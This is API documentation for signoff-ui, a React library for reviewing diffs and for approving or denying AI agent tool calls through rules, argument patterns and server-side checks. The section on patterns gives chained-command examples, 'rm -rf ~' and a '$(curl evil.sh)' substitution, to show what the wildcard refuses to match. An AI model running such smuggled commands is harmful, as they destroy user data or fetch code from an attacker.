| `onCommentsChange` | `(comments: DiffReviewComment[]) => void` | | |
| `viewed` | `Readonly>` | | Controlled "Viewed" marks, by file id (the path, or `path#2`… for a repeated path). |
| `defaultViewed` | `Readonly>` | | |
| `onViewedChange` | `(viewed: Record) => void` | | |
| `onSubmit` | `(result: DiffReviewResult, review: { toPatch: () => string; }) => void \| PromiseLike` | | Called with the reviewed result, and a `toPatch` that gives the accepted changes as a unified diff. Pending hunks are not applied. Fires once per review state, so a double click or a repeated ⌘/Ctrl+Enter sends one review: submitting again needs a changed decision, comment or viewed mark, changed `files`, the returned promise to settle, or the handler to throw. Files compare by content and the rest by value: an equal new array or object does not count as a change. |
| `readOnly` | `boolean` | | Decide nothing, comment on nothing: only read. |
| `context` | `number` | | Lines of context around each change. Default 3. |
| `maxEditLength` | `number` | | Past this many lines added plus lines removed in one file, its changed region (from the first changed line to the last) is shown as one hunk that replaces it, and the review says so. Diffing costs about the square of this number. Default 2,000. |
| `diffWorker` | `DiffWorkerFactory \| false` | | Where files too large to diff while rendering are diffed: by default in the package's own worker, which bundlers with worker support emit (webpack 5 and Next.js, Vite, Parcel). Pass a function that starts your own `Worker` running `signoff-ui`'s diff worker, or `false` to diff them on the main thread after the first paint. Without a working worker the latter is the fallback. |
| `autoAdvance` | `boolean` | | After accepting or rejecting with the keyboard, move to the next undecided item. Default `true`. |
| `collapseViewed` | `boolean` | | Fold a file away once it is marked viewed. Default `true`. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults, for what the hook announces and names: see `SignoffLabelsProvider`. |
Returns `UseDiffReviewResult`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `files` (required) | `DiffReviewFileState[]` | | |
| `items` (required) | `ReviewItem[]` | | Every item to decide, in file order; `index` in the getters refers to this list. |
| `activeIndex` (required) | `number` | | The item in the tab order, focused by J and K. |
| `counts` (required) | `{ accepted: number; rejected: number; pending: number; total: number; }` | | |
| `comparing` (required) | `boolean` | | Some file is still being diffed in the background; applying waits for it. |
| `decisions` (required) | `Readonly>` | | |
| `comments` (required) | `readonly DiffReviewComment[]` | | |
| `viewed` (required) | `Readonly>` | | |
| `selection` (required) | `DiffReviewSelection` | | |
| `draft` (required) | `DiffReviewDraft` | | |
| `shown` (required) | `Readonly>` | | Unchanged lines shown around hunks, by `${fileId}:${gap.before}`. |
| `announcement` (required) | `string` | | What to announce: render it in a polite live region. |
| `readOnly` (required) | `boolean` | | |
| `isMac` (required) | `boolean` | | |
| `decide` (required) | `(id: string, decision: HunkDecision, options?: { advance?: boolean; }) => void` | | |
| `decideFile` (required) | `(fileId: string, decision: Exclude) => void` | | |
| `decideAll` (required) | `(decision: Exclude) => void` | | |
| `setViewed` (required) | `(fileId: string, viewed: boolean) => void` | | |
| `setCollapsed` (required) | `(fileId: string, collapsed: boolean) => void` | | |
| `focusItem` (required) | `(index: number) => void` | | Focus an item by index (clamped), as J and K do. |
| `activate` (required) | `(index: number) => void` | | Make an item the one in the tab order, as focusing it does. Stable across renders. |
| `registerItem` (required) | `(id: string, el: HTMLElement \| null) => void` | | Record an item's element, for focus. Stable across renders. |
| `focusFile` (required) | `(fileId: string) => void` | | Unfold a file and focus its first item, as the file navigator does. |
| `selectLines` (required) | `(itemId: string, from: number, to?: number) => void` | | Select lines `from…to` of a hunk item; `to` defaults to `from`. |
| `clearSelection` (required) | `() => void` | | |
| `startComment` (required) | `(options?: { itemId?: string; commentId?: string; }) => void` | | Start a comment: on the selected lines, else on the item (a hunk or a whole file), or edit one. |
| `setDraftText` (required) | `(text: string) => void` | | |
| `registerDraft` (required) | `(el: HTMLTextAreaElement \| null) => void` | | The comment editor's element, for focus. Stable across renders. |
| `saveDraft` (required) | `() => void` | | |
| `cancelDraft` (required) | `() => void` | | |
| `removeComment` (required) | `(id: string) => void` | | |
| `showContext` (required) | `(fileId: string, gap: ContextGap, from: 'start' \| 'end' \| 'all') => void` | | Show more unchanged lines of a file's gap: from its start, its end, or all of it. |
| `submit` (required) | `() => void` | | Send the review to `onSubmit`, once per review state. |
| `result` (required) | `() => DiffReviewResult` | | The review as `onSubmit` receives it, for the current state. |
| `toPatch` (required) | `() => string` | | The accepted changes as a unified diff. |
| `getRootProps` (required) | `() => { onKeyDown: (event: KeyboardEvent) => void; }` | | The review's keyboard, for the element that contains it. Keys pressed inside an element with `data-signoff-slot` in it, your own controls, are left to them, and so are keys from a portal rendered inside it, such as a menu. |
| `getItemProps` (required) | `(index: number) => { ref: (el: HTMLElement \| null) => void; role: 'group'; tabIndex: 0 \| -1; 'aria-label': string; 'data-decision': HunkDecision; onFocus: () => void; }` | | A focusable item: a roving tabindex, its accessible name and its decision. |
| `getDecisionProps` (required) | `(index: number, decision: Exclude) => { type: 'button'; 'aria-pressed': boolean; onClick: () => void; }` | | Accept or reject one item; pressing it again resets it. |
| `getFileDecisionProps` (required) | `(fileId: string, decision: Exclude) => { type: 'button'; onClick: () => void; 'aria-keyshortcuts': string; }` | | |
| `getViewedProps` (required) | `(fileId: string) => { ref: (el: HTMLInputElement \| null) => void; type: 'checkbox'; checked: boolean; onChange: (event: ChangeEvent) => void; 'aria-keyshortcuts': 'V'; }` | | |
| `getLineNumberProps` (required) | `(index: number, line: number) => { onClick: (event: MouseEvent) => void; }` | | Click a line number to select it; Shift-click extends the selection in the same hunk. |
| `getDraftProps` (required) | `() => { ref: (el: HTMLTextAreaElement \| null) => void; value: string; onChange: (event: ChangeEvent) => void; onKeyDown: (event: KeyboardEvent) => void; }` | | |
| `getSubmitProps` (required) | `() => { type: 'button'; onClick: () => void; 'aria-disabled': true \| undefined; 'aria-keyshortcuts': string; }` | | |
| `getNavigatorItemProps` (required) | `(fileId: string) => { type: 'button'; tabIndex: 0 \| -1; ref: (el: HTMLButtonElement \| null) => void; 'aria-current': true \| undefined; onClick: () => void; onKeyDown: (event: KeyboardEvent) => void; }` | | One button per file in a navigator list, with a roving tabindex: ↑ and ↓ move, Enter goes. |
#### DiffReviewFileState
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | The file's id: its path, or `path#2`… for a path that repeats. |
| `path` (required) | `string` | | |
| `change` (required) | `FileChange` | | |
| `parsed` (required) | `ParsedFileDiff` | | `undefined` while the file is diffed in the background ("Comparing…"). |
| `items` (required) | `ReviewItem[]` | | What it asks to decide: its hunks, or the file as a whole. |
| `decision` (required) | `FileDecision` ('accepted' \| 'rejected' \| 'partial' \| 'pending' \| 'unchanged') | | |
| `decided` (required) | `number` | | How many of its items are decided. |
| `viewed` (required) | `boolean` | | |
| `collapsed` (required) | `boolean` | | Folded away: its items are skipped by J and K. |
| `gaps` (required) | `ContextGap[]` | | Unchanged lines around its hunks that can be shown, when both contents are known. |
#### DiffReviewSelection
Lines selected in a hunk, by index into `hunk.lines`.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `item` (required) | `ReviewItem` | | |
| `hunk` (required) | `DiffHunk` | | |
| `anchor` (required) | `number` | | Where the selection started, and where it ends (the line moved with the keyboard). |
| `head` (required) | `number` | | |
| `from` (required) | `number` | | The first and last selected index. |
| `to` (required) | `number` | | |
| `range` (required) | `LineRange` | | |
#### DiffReviewDraft
A comment being written: a new one, or an edit of `commentId`.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `fileId` (required) | `string` | | |
| `target` (required) | `DiffReviewComment['target']` | | |
| `text` (required) | `string` | | |
| `commentId` | `string` | | |
| `hunkId` | `string` | | |
| `range` | `LineRange` | | |
#### ReviewItem
One thing to decide: a hunk, or a file with no hunks as a whole (binary, a rename, an empty file).
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | The decision key: the hunk's id, or `${fileId}:file`. |
| `file` (required) | `ParsedFileDiff` | | |
| `hunk` (required) | `DiffHunk` | | `undefined` for a whole file. |
### Accessibility
- The hook has no markup of its own. Its getters bring what `DiffReview` relies on: a roving tabindex and a name for each item (`getItemProps`), `aria-pressed` on decision buttons, `aria-keyshortcuts`, `aria-disabled` on Apply while files are being compared, and a roving tabindex for a file list (`getNavigatorItemProps`).
- Every key `DiffReview` has works once `getRootProps()` is on the element around the review and `getItemProps(i)` on each item. Render `announcement` in a polite live region: it says what each decision, selection, comment and viewed mark did.
- Give the comment editor a label: `getDraftProps()` gives it focus, its value and its keys (⌘ or Ctrl + Enter saves, Escape cancels).
## ApprovalCard
> Human-in-the-loop approval: what will run, how risky it is, and deny with a reason.
Source: https://signoff-ui.vercel.app/docs/components/approval-card
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { ApprovalCard, ToolApprovalCard, ToolApprovalBatch } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/approval-card.json
```
```tsx
import { ApprovalCard, ToolApprovalCard, ToolApprovalBatch } from '@/components/signoff-ui/approval-card';
```
### Usage
```tsx
// Bound to an AI SDK tool part in the approval flow, with rules from useApprovalPolicy:
setMessages((m) => setToolInput(m, id, input))}
risk="high"
/>
// Or on its own, with every choice:
answer(decision, { reason, input, args })}
/>
```
### How it works
Human-in-the-loop approval with a command or argument preview, a risk level when you give one (without `risk`, no badge rather than a guess), and deny with feedback. Y and N work while focus is in the card; ⌘ or Ctrl + Enter approves, optionally page-wide. `critical` actions need a second, confirming press.
Each pending approval sends one decision: a double click, or Y then N, is ignored until `status` changes, the handler's promise settles or the handler throws. `ToolApprovalCard` binds the card to a tool part and to `addToolApprovalResponse`, including the denial reason, and renders nothing for calls that need no approval.
Decisions that a `toolApproval` rule makes on its own (`approval.isAutomatic`) never prompt or take focus, and read "Auto-approved" or "Blocked by policy" rather than as a person's decision. A custom `preview` is your content: with `styles.css`, the kit's rules don't reach into it, and the shortcuts don't act on keys pressed in it, or in a menu it opens in a portal, so its controls keep their keys. With `globalShortcut`, ⌘ or Ctrl + Enter still approves from anywhere on the page.
#### Once, for the session or always
`decisions` sets the choices: `allow-once`, `allow-session`, `allow-always`, `deny-once` and `deny-always`. The default is Approve and Deny, once. A lasting choice says what it will cover: the tool, and argument patterns the person can edit. For a command, the pattern starts at its program and subcommand (`npm test*`); for other calls, it starts at each argument as it is. "Any arguments" covers every call of the tool. `onDecide` receives `{ decision, reason, input, args }`; when you pass it, `onApprove` and `onDeny` are not called. With a `policy` from `useApprovalPolicy`, `ToolApprovalCard` offers every choice, records the rule a person makes, and answers a call a rule already covers without showing a card. Once answered, that call reads "Allowed by your rule" and shows the rule.
#### Edit the arguments, then approve
With `editable` (on `ApprovalCard`) or `onEditInput` (on `ToolApprovalCard`), "Edit arguments" opens the arguments for editing. An object of strings, numbers and booleans gets a form; any other input gets JSON, which must parse before anything can be approved. The edited input goes out with the approval. `ToolApprovalCard` offers editing only with `onEditInput`, the function that applies the edit, so an edit is never dropped on its way to the agent. With AI SDK 7, `onEditInput={(id, input) => setMessages((m) => setToolInput(m, id, input))}` puts the edited input in the messages; the server runs the call with it after checking it against the tool's schema and its `toolApproval` again. With `useAgUiAgent`, pass its `editInput`, and the approval's resume payload carries `input`.
#### Approve all
`ToolApprovalBatch` answers every approval a run is waiting on at once, such as parallel calls; with a critical one among them it asks for a second press. `AgentMessage` shows it above its cards when two or more approvals are waiting.
### API reference
#### ApprovalCard
Human-in-the-loop approval for a pending agent action. Shows what will run,
how risky it is, and lets the user approve or deny by mouse or keyboard, once,
for the session or always, with the arguments edited first when `editable`.
Critical actions require a second confirming press.
The card is a group named by its title, not a landmark, so a run with many approvals doesn't
fill landmark navigation; pass `role="region"` to make it one.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `toolName` (required) | `string` | | Name of the tool or action that needs approval. |
| `title` | `ReactNode` | | Heading. Defaults to the humanized tool name. |
| `description` | `ReactNode` | | Why the agent wants to do this, e.g. the SDK's `approval.requestReason`. |
| `input` | `unknown` | | Arguments the action will run with. |
| `risk` | `RiskLevel` | | How risky the action is, shown as a badge. Without it the card shows no risk level. |
| `preview` | `ReactNode` | | Custom arguments preview. Defaults to a command line for `{ command }` inputs, else JSON. Your content, like `AgentMessage`'s `renderTool`: keys pressed in it, or in a menu it opens in a portal, are yours, not the card's shortcuts. |
| `status` | `ApprovalStatus` ('pending' \| 'approved' \| 'denied') | `'pending'` | Approve and deny fire once: further presses (a double click, Y then N) are ignored until `status` changes, the promise the handler returned settles, or the handler throws. |
| `reason` | `string` | | Reason recorded with the decision, shown once resolved. |
| `automatic` | `boolean` | `false` | A policy, not a person, made the decision (the SDK's `approval.isAutomatic`): once resolved, the card reads "Auto-approved" or "Blocked by policy" instead of "Approved" or "Denied". |
| `decision` | `ApprovalDecision` | | How the resolved decision was made, to say so: `allow-session` reads "Approved for this session", `deny-always` "Always denied", and so on. |
| `decidedByRule` | `string` | | The rule that decided, in words, shown once resolved: "Allowed by your rule: …". |
| `decisions` | `readonly ApprovalDecision[]` | `DEFAULT_DECISIONS` | The choices to offer, from `allow-once`, `allow-session`, `allow-always`, `deny-once` and `deny-always`. Default: Approve and Deny, once. Session and always decisions come to `onDecide` with the arguments their rule covers. |
| `onDecide` | `(choice: ApprovalChoice) => void \| PromiseLike` | | Every decision with what goes with it: its scope, the reason, edited arguments and the rule's argument patterns. When you pass it, `onApprove` and `onDeny` are not called. May return a promise. |
| `onApprove` | `() => void \| PromiseLike` | | Fires once per decision: see `status`. May return a promise. Not called with `onDecide`. |
| `onDeny` | `(reason?: string) => void \| PromiseLike` | | Fires once per decision: see `status`. May return a promise. Not called with `onDecide`. |
| `editable` | `boolean` | `false` | Let the person edit the arguments before approving: a form for an object of strings, numbers and booleans, JSON otherwise. The edited input comes to `onDecide`. |
| `ruleArgs` | `Record` | | The argument patterns a session or always rule starts with. Default: from the input. |
| `ruleScope` | `boolean` | `true` | Show which calls a session or always decision covers, editable. Pass `false` when the agent keeps what "always" means, as with ACP's `allow_always`: the card then shows no argument patterns, and the decision comes without `args`. |
| `shortcuts` | `boolean` | `true` | Y / N shortcuts while focus is inside the card (and S, A, Shift+N when offered), but not in a custom `preview`. |
| `globalShortcut` | `boolean` | `false` | Also approve with ⌘/Ctrl+Enter from anywhere on the page while pending. |
| `autoFocus` | `boolean` | `false` | Move focus to the card when it mounts in the pending state. |
| `allowReason` | `boolean` | `true` | Offer an optional free-text reason when denying. |
| `reasonPlaceholder` | `string` | | Placeholder of the reason field. Default "What should the agent do instead?" (`labels.approvalCard.reasonPlaceholder`). |
| `approveLabel` | `string` | | The approve button's text. Default "Approve" (`labels.approvalCard.approve`). |
| `denyLabel` | `string` | | The deny button's text. Default "Deny" (`labels.approvalCard.deny`). |
| `headingLevel` | `HeadingLevel` | `3` | Heading level for the title, to fit your document outline. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root ``: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### ToolApprovalCard
`ApprovalCard` bound to an AI SDK tool part in the approval flow. Renders nothing for parts without
one, or while a policy's automatic decision is still arriving: nobody needs to act on it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `part` (required) | `ToolPart` | | |
| `onRespond` (required) | `(response: ToolApprovalResponse) => void \| PromiseLike` | | Matches `useChat().addToolApprovalResponse`, so you can pass it directly. |
| `meta` | `ToolMeta` | | |
| `policy` | `ApprovalPolicy` | | Approval rules from `useApprovalPolicy`. The card then offers once, this session and always (unless `decisions` says otherwise), answers a request a rule already decides without asking, and records every decision. |
| `onEditInput` | `(toolCallId: string, input: unknown) => void` | | Apply edited arguments before the approval goes out; the card offers editing only with it. With AI SDK 7: `(id, input) => setMessages((m) => setToolInput(m, id, input))`. With `useAgUiAgent`: its `editInput`. |
Also takes every `ApprovalCardProps` prop, except `toolName`, `input`, `status`, `onApprove`, `onDeny`, `onDecide`, `reason`, `automatic`, `decision`, `decidedByRule`.
#### ToolApprovalBatch
"Approve all" and "Deny all" for the approvals a run is waiting on together, such as parallel
calls. Each is answered once, as Approve or Deny on its own card would; with a critical one among
them, Approve all asks for a second press.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `parts` (required) | `readonly ToolPart[]` | | Tool parts; those waiting on a person count. |
| `onRespond` (required) | `(response: ToolApprovalResponse) => void \| PromiseLike` | | |
| `policy` | `ApprovalPolicy` | | |
| `tools` | `Record` | | |
| `min` | `number` | `2` | Shown from this many waiting approvals. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: see `SignoffLabelsProvider`. |
Other props go to the root `
`: `className`, `id`, `aria-*`, `data-*` and event handlers.
#### ApprovalChoice
A decision as the card makes it: what was chosen, and what goes with it.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `decision` (required) | `ApprovalDecision` ('allow-once' \| 'allow-session' \| 'allow-always' \| 'deny-once' \| 'deny-always') | | |
| `reason` | `string` | | The denial's reason, when the person gave one. |
| `input` | `unknown` | | The arguments to run with, when the person edited them (`editable`). |
| `args` | `Record` | | For a session or always decision: the argument patterns its rule covers, or `undefined` for every call of the tool ("Any arguments"). |
#### ApprovalDecision
What a person can decide about a tool call, and for how long it holds.
```ts
type ApprovalDecision = 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always';
```
#### ToolApprovalResponse
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | |
| `approved` (required) | `boolean` | | |
| `reason` | `string` | | |
#### RiskLevel
```ts
type RiskLevel = 'low' | 'medium' | 'high' | 'critical';
```
#### ApprovalStatus
```ts
type ApprovalStatus = 'pending' | 'approved' | 'denied';
```
### Accessibility
| Keys | Action |
| --- | --- |
| Y | Approve, once |
| S | Approve for this session, when offered |
| A | Always approve, when offered |
| N | Deny |
| ⇧N | Always deny, when offered |
| ⌘/Ctrl ↵ | Approve (page-wide with `globalShortcut`) |
| Esc | Close the reason field and return to the card |
- A group named by its title and described by its description and a visually hidden line that spells out the shortcuts on offer. It is not a landmark, so a run with many approvals doesn’t fill landmark navigation; pass `role="region"` to make it one.
- Every choice is a button with its key in `aria-keyshortcuts`. Y, S, A, N and Shift+N only work while focus is inside the card, with no other modifier, not while typing and not on the controls of a custom `preview`, which keeps them within WCAG 2.1.4.
- A lasting choice says what it will cover, in a labeled group: the tool, and a text field per argument pattern ("command matches"), or "Any arguments".
- Editing arguments opens a form with a labeled field per argument, or a JSON text area; JSON that does not parse is marked `aria-invalid`, its error is the field’s description, and approving says "The arguments are not valid JSON." instead of approving.
- `critical` actions need a second press of the same choice within four seconds, and say so: "Critical action. Press approve again to confirm." Approve all asks for one when any of the calls is critical.
- Deciding announces the outcome ("Approved for this session") and moves focus to the card, so it isn’t lost when the buttons go away; the announcement then clears, so the decided card reads its outcome once. `autoFocus` puts focus on a card that arrives pending.
- Each pending approval sends one decision: a double click, or Y then N, is ignored until `status` changes or the handler’s promise settles. A call a rule decides is answered without showing a card, and reads "Allowed by your rule" with the rule once it is.
- The risk level is spelled out, not shown by color alone, and only when you give one: without `risk` the card shows none rather than guessing. `headingLevel` fits the title into your outline.
### Theming
Slots (`data-slot`): `signoff-approval-card`, `signoff-approval-batch`.
- `data-decision`: 'allow-once' | 'allow-session' | 'allow-always' | 'deny-once' | 'deny-always'
- `data-status` on `signoff-approval-card`: 'pending' | 'approved' | 'denied'
- `data-risk` on `signoff-approval-card`: 'low' | 'medium' | 'high' | 'critical'
Tokens it uses: `--signoff-accent`, `--signoff-accent-fg`, `--signoff-bg`, `--signoff-border`, `--signoff-border-strong`, `--signoff-fg`, `--signoff-fg-muted`, `--signoff-fg-subtle`, `--signoff-font-mono`, `--signoff-font-sans`, `--signoff-hot`, `--signoff-hot-fg`, `--signoff-on-accent`, `--signoff-on-hot`, `--signoff-radius`, `--signoff-ring`, `--signoff-surface`, `--signoff-surface-2`, `--signoff-warn`, `--signoff-warn-fg`. See https://signoff-ui.vercel.app/docs/getting-started#theming.
## useApprovalPolicy
> Approval rules: once, for the session or always, by tool and argument pattern, with storage and an audit trail.
Source: https://signoff-ui.vercel.app/docs/components/use-approval-policy
### Installation
From npm:
```bash
npm i signoff-ui ai
```
```tsx
import { useApprovalPolicy, webStorageRules, setToolInput } from 'signoff-ui';
import 'signoff-ui/styles.css'; // once per app, or @import 'signoff-ui/tailwind.css' with Tailwind v4
```
Or as source, with the shadcn CLI:
```bash
npx shadcn@latest add https://signoff-ui.vercel.app/r/use-approval-policy.json
```
```tsx
import { useApprovalPolicy, webStorageRules } from '@/components/signoff-ui/use-approval-policy';
```
### Usage
```tsx
const storage = webStorageRules(); // once, outside the component
function Run() {
const { messages, setMessages, addToolApprovalResponse } = useChat();
const policy = useApprovalPolicy({ storage, onAudit: (event) => log(event) });
return messages.map((m) => (
setMessages((all) => setToolInput(all, id, input))}
/>
));
}
```
### How it works
Approval rules: what a person decided once, applied to the calls that follow. A decision is `allow-once`, `allow-session`, `allow-always`, `deny-once` or `deny-always`. A session or always decision leaves a rule over the tool (`tool`, a name or a glob such as `mcp_github_*`), narrowed by argument patterns when given (`args: { command: 'npm test*' }`, with dotted names for nested arguments) or by a test of your own (`when`). When an allow rule and a deny rule both match a call, the deny rule wins.
#### The patterns
A pattern matches the whole argument. `*` matches any run of characters except shell operators: `;`, `&`, `|`, `` ` ``, `<`, `>`, `$(` and line breaks. So `npm test*` allows `npm test -- --watch`, but not `npm test && rm -rf ~` or `npm test $(curl evil.sh)`. `**` matches anything, operators included. `?` matches one character, and `\` makes the next one literal. Numbers and booleans match as text. Arrays, objects and missing arguments match no pattern.
#### What it does
`decide(request, decision, { reason, input, args })` records a person's decision, and the rule it leaves. `answer(request)` answers from the rules when one covers the call, recorded as decided by that rule. `match`, `addRule`, `removeRule` and `clearSession` work on the rules directly. `onAudit` receives every decision, with who made it (a person or a rule), the rule, the reason and any edited arguments, as well as every rule added or removed and every session cleared.
#### Where rules are kept
Session rules stay in memory until the page reloads or `clearSession()` runs. `always` rules go to `storage`: by default in memory, `webStorageRules()` for `localStorage`, or your own `{ load, save }`, which may be async. A rule's `when` is code, and is never saved. Rules are loaded after the first render, so a server render and the hydrating client agree. A call that arrives before they load is shown to a person.
#### Default rules
`defaultRules` are the rules a person starts with, such as allowing reads. On a first visit, with nothing saved, they are the rules. An `always` default the person removes stays removed on later visits, and a default your app adds in a later version still appears. `webStorageRules()` keeps the removed ids under `:removed-defaults`. A storage of your own keeps them with the optional `loadRemovedDefaults()` and `saveRemovedDefaults(ids)`; without these, a removed default comes back on the next load. Adding a rule with a removed default's id, as a "Reset" button would, brings it back. A `session` default is a session rule: it comes back with each page load.
#### On the server
The same rules, as AI SDK 7's `toolApproval`: `streamText({ toolApproval: toToolApproval(rules) })` approves or denies a call a rule covers, and asks a person about the rest. The SDK checks it again on an approved call before running it, with edited arguments too. Rules a client sends are the choices of the person using it, so apply them to that person's runs only. Keep rules that protect other people on the server.
A call a rule decides carries a reason, which the approval keeps as `approval.reason`: by default "Allowed by a rule: …" or "Denied by a rule: …", with the rule in words. When the server's rules and the person's both decide, give each set its own `reason`, so the page can tell whose rule it was. The server's rules go first, and `otherwise: 'not-applicable'` hands the calls they don't cover to the person's:
```ts
const server = toToolApproval(SERVER_RULES, {
otherwise: 'not-applicable',
reason: (match) =>
`${match.effect === 'allow' ? 'Allowed' : 'Denied'} by the server's rule: ${describeRule(match.rule)}`,
});
const yours = toToolApproval(rules);
streamText({
// model, messages, tools…
toolApproval: (options) => {
const decided = server(options);
return decided === 'not-applicable' ? yours(options) : decided;
},
});
```
`reason` gets the match: `effect` and the `rule`, with the rule's own `reason` if it has one. It is not called for a call no rule covers, which gets `otherwise`.
#### AG-UI and ACP
With `useAgUiAgent`, an approval's resume payload is `{ approved, reason?, input? }`. For the Agent Client Protocol's `session/request_permission`:
- `decisionsFromAcpOptions(request.options)` gives the choices to offer.
- `toAcpPermissionResponse(decision, request.options)` answers with the option of the same kind (`allow_once`, `allow_always`, `reject_once`, `reject_always`).
- `fromAcpPermissionRequest(request)` turns the request into the card's.
ACP has no session option, so `allow-session` answers `allow_once` and leaves the session rule on the client. These helpers are types and functions only, with no ACP package to install.
#### Sending a person's rules with each request
For the route to decide with the person's own rules, the page sends them with every request. The transport is made once and the rules change between requests, so `body` is a function, called as each request goes out. `policy.getRules()` returns the rules as they are at that moment, as plain data. It is the same function for the policy's life, so the transport is still made once. A "For this session" rule is in it as soon as the person chooses it, so the rule goes out with the request that carries that approval, and the server decides the run's next calls with it. Reading a ref in `body` would work too, but `react-hooks/refs` reports it.
The page:
```tsx
'use client';
import { useChat } from '@ai-sdk/react';
import { DefaultChatTransport, lastAssistantMessageIsCompleteWithApprovalResponses } from 'ai';
import { useMemo } from 'react';
import { AgentMessage, useApprovalPolicy, webStorageRules } from 'signoff-ui';
const storage = webStorageRules(); // once, outside the component
export function Run() {
const policy = useApprovalPolicy({ storage });
const { getRules } = policy;
const transport = useMemo(
() => new DefaultChatTransport({ api: '/api/chat', body: () => ({ rules: getRules() }) }),
[getRules],
);
const { messages, addToolApprovalResponse } = useChat({
transport,
sendAutomaticallyWhen: lastAssistantMessageIsCompleteWithApprovalResponses,
});
return messages.map((m) => (
));
}
```
The route, `app/api/chat/route.ts`:
```ts
import { convertToModelMessages, stepCountIs, streamText, type UIMessage } from 'ai';
import { parseApprovalRules, toToolApproval } from 'signoff-ui/core';
export async function POST(req: Request) {
const { messages, rules }: { messages: UIMessage[]; rules?: unknown } = await req.json();
const result = streamText({
model,
messages: await convertToModelMessages(messages, { tools }),
tools,
// This person's rules, for this person's run.
toolApproval: toToolApproval(parseApprovalRules(rules)),
stopWhen: stepCountIs(10),
});
return result.toUIMessageStreamResponse({ originalMessages: messages });
}
```
#### The server's rules win
Rules the server keeps for everyone, such as one that denies `git push`, go first. Make them with `toToolApproval(SERVER_RULES, { otherwise: 'not-applicable' })`, and ask the person's `toToolApproval(parseApprovalRules(rules))` only when that returns `'not-applicable'`. A rule a client sends then can't approve a call the server's rules deny.
The route gets whatever the client sent, so `parseApprovalRules` checks it: each field and its type, at most 100 rules, 20 argument patterns in a rule, 500 characters in a string, and one `*` in a pattern, `**` counting as one. Each `*` more can make a pattern take seconds to match a long argument, which would hold up the server. Other limits go in the second argument, such as `parseApprovalRules(rules, { maxWildcards: 2 })`. A rule that fails a check is left out.
A rule the server doesn't get still holds on the page: the server asks, and the policy answers without showing anyone a card. That covers rules with a `when`, which `getRules()` leaves out: `when` is code, and without it the rule would cover more calls than it does. `toPlainRules(rules)` does the same for rules kept outside the hook.
### API reference
#### useApprovalPolicy
Approval rules, held for the page: once, for the session or always, scoped by tool and by
argument patterns, deny winning over allow. Pass the policy to `ToolApprovalCard`, `AgentMessage`
or `ToolApprovalBatch`, and they offer the choices, answer what a rule already decides, and record
the rest. Persistence is pluggable: `always` rules go to `storage`, session rules stay in memory.
```ts
useApprovalPolicy({ rules: rulesProp, defaultRules, onRulesChange, storage: storageProp, onAudit, labels }?: UseApprovalPolicyOptions | undefined): ApprovalPolicy
```
Parameter, `UseApprovalPolicyOptions`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `rules` | `readonly ApprovalRule[]` | | Controlled rules. |
| `defaultRules` | `readonly ApprovalRule[]` | | Rules to start with, before any the storage loads. An `always` default the person removes stays removed on later loads, with a storage that keeps removed defaults (`webStorageRules` and `memoryRuleStorage` do). A default you add later appears, removed ones aside. |
| `onRulesChange` | `(rules: ApprovalRule[]) => void` | | |
| `storage` | `ApprovalRuleStorage` | | Where `always` rules are loaded from and saved to. Default: memory, for this page. |
| `onAudit` | `(event: ApprovalAuditEvent) => void` | | Every decision, rule added or removed, and session cleared, as it happens. |
| `labels` | `SignoffLabelsInput` | | Words to use instead of the English defaults: the reason a deny rule without one of its own sends (`labels.approvalPolicy.ruleDenial`). See `SignoffLabelsProvider`. |
Returns `ApprovalPolicy`:
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `rules` (required) | `readonly ApprovalRule[]` | | |
| `getRules` (required) | `() => ApprovalRule[]` | | The rules as they are now, as plain data to send with a request (see `toPlainRules`: a rule with a `when` stays on the page). The same function for the policy's life, so a transport made once can call it in `body`, and it has a rule a decision just made before the page re-renders. |
| `ready` (required) | `boolean` | | The storage has loaded: after the first render, or once an async storage's promise settles. |
| `match` (required) | `(toolName: string, input: unknown) => RuleMatch \| undefined` | | The rule that decides a call, if one does. |
| `decide` (required) | `(request: ApprovalRequest, decision: ApprovalDecision, options?: { reason?: string \| undefined; input?: unknown; args?: Record \| undefined; }) => ApprovalOutcome` | | Record a person's decision and the rule it leaves (for session and always decisions, over the call's `args` when given, else every call of the tool), and return it ready to send. |
| `answer` (required) | `(request: ApprovalRequest) => ApprovalOutcome \| undefined` | | Answer a request from the rules, if one matches, recorded as decided by that rule. |
| `outcomeOf` (required) | `(id: string) => ApprovalOutcome \| undefined` | | How an answered request was decided, by its id: by a person or by which rule. |
| `addRule` (required) | `(rule: ApprovalRule) => void` | | |
| `removeRule` (required) | `(id: string) => void` | | |
| `clearSession` (required) | `() => void` | | Forget the session rules. |
#### ApprovalRule
A standing decision about a tool's calls: allowed or denied, for the session or always.
| Prop | Type | Default | Description |
| --- | --- | --- | --- |
| `id` (required) | `string` | | Unique among the rules. |
| `tool` (required) | `string` | | The tool's name, or a glob over names: `*` for every tool, `mcp_github_*` for a family. |
| `effect` (required) | `'allow' \| 'deny'` | | |
| `scope` (required) | `'session' \| 'always'` | | `session`: until the page reloads or the session is cleared. `always`: kept by the storage. |
| `args` | `Readonly>` | | Globs by argument name, which must all match: `{ command: 'npm test*' }`. A dotted name reads a nested argument (`'options.cwd'`). Absent: any arguments. |
